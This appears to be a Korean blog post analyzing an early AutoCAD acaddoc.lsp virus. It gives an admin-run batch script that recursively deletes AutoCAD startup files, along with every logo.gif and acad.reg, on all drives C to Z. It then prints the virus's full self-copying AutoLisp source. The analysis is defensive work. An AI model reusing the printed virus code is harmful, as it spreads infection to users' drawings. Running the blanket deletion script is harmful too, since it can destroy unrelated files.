구문을 보니 초기 캐드바이러스 구문으로 판단이 되네요.
1. support 폴더에 acaddoc.lsp 파일을 복사 한다.
2. 작업폴더에 acaddoc.lsp 파일을 복사 한다.
조치방법 연결된 네트워크의 모든 폴더에서 acaddoc.lsp을 삭제하시면 됩니다.
도스스크립트 언어로 모든 파일을 삭제하는 것을 만들어서 돌리면 됩니다.
C~Z드리이버까지 acad.lsp, acaddoc.lsp, acadapp.lsp, acadapq.lsp, acad.fas, acaddoc.fas, acad.vlx, logo.gif, acad.reg, acadiso.lsp
파일을 전부 삭제하는 스크립터 언어입니다. bat파일을 만들어서 관리자 권한으로 실행 하시면 됩니다.
FOR %%P IN (C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF EXIST %%P:\nul (
echo.
echo Cleaning drive %%P...
echo.
@echo on
del %%P:\acad.lsp /s
del %%P:\acaddoc.lsp /s
del %%P:\acadapp.lsp /s
del %%P:\acadapq.lsp /s
del %%P:\acad.fas /s
del %%P:\acaddoc.fas /s
del %%P:\acad.vlx /s
del %%P:\logo.gif /s
del %%P:\acad.reg /s
del %%P:\acadiso.lsp /s
@echo off
)
)
cls
echo.
echo Cleaning of files finished.
echo.
GOTO END
:NOT_EXIST
ECHO DRIVE F: DOES NOT EXIST !
GOTO END
:NOT_READY
ECHO DRIVE F: IS NOT READY
GOTO END
:END
pause
아래는 바이러스 구문 입니다
(defun-q s::startup
(/ basepath
baseacad
acaddocpath
r-acaddoc
w-basepath
rl-acaddoc
acaddoclsp
c-acaddocname
c-acaddocpath
c-acaddoc
)
(setq basepath
(findfile "base.dcl")
)
(setq basepath
(substr basepath
1 (- (strlen basepath) 8)
)
)
(setq baseacad (strcat basepath "acaddoc.lsp"))
(setq acaddocpath
(findfile "acaddoc.lsp")
)
(setq acaddocpath
(substr acaddocpath
1 (- (strlen acaddocpath) 11)
)
)
(setq acaddoclsp
(strcat acaddocpath "acaddoc.lsp"))
(setq c-acaddocname
(getvar "dwgname")
)
(setq c-acaddocpath
(findfile c-acaddocname)
)
(setq c-acaddocpath
(substr c-acaddocpath
1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
)
)
(setq c-acaddoc
(strcat c-acaddocpath "acaddoc.lsp")
)
(if
(and
(/= basepath acaddocpath)
(= c-acaddocpath acaddocpath)
)
(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open baseacad "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)
)
(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open c-acaddoc "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)
)
)
(princ)
)
(load "acadapq")
(princ)
'AutoCAD > AutoLisp' 카테고리의 다른 글
선택한 폴리라인 두께입력 (0) | 2014.12.29 |
---|---|
두점을 입력하여 객체를 자르는 리습 (0) | 2014.12.29 |
[파일] 첫번째 acaddoc.lsp 바이러스 리습분석 (0) | 2014.10.21 |
리습의 공개원칙 (0) | 2012.08.16 |
(list x y z) x y 좌표로 변경 (0) | 2012.03.17 |